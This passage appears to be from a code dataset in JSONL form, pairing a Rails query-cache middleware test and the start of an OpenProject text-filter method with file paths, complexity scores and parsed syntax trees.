+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/query_cache_test.rb","start_line":355,"raw_source":"def test_middleware_caches\n mw = middleware { |env|\n Task.find 1\n Task.find 1\n query_cache = ActiveRecord::Base.connection_pool.query_cache\n assert_equal 1, query_cache.size, query_cache.inspect\n [200, {}, nil]\n }\n mw.call({})\n end","complexity_score":15.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_middleware_caches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middleware\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"query_cache\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"query_cache\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_cache\"]},\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_cache\"]},\"inspect\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mw\"]},\"call\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"ef179761-4242-4fab-93b1-54ca40887e7c"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/figure_wrapped_filter.rb","start_line":74,"raw_source":"def wrap_in_figure(element)\n element.wrap(\"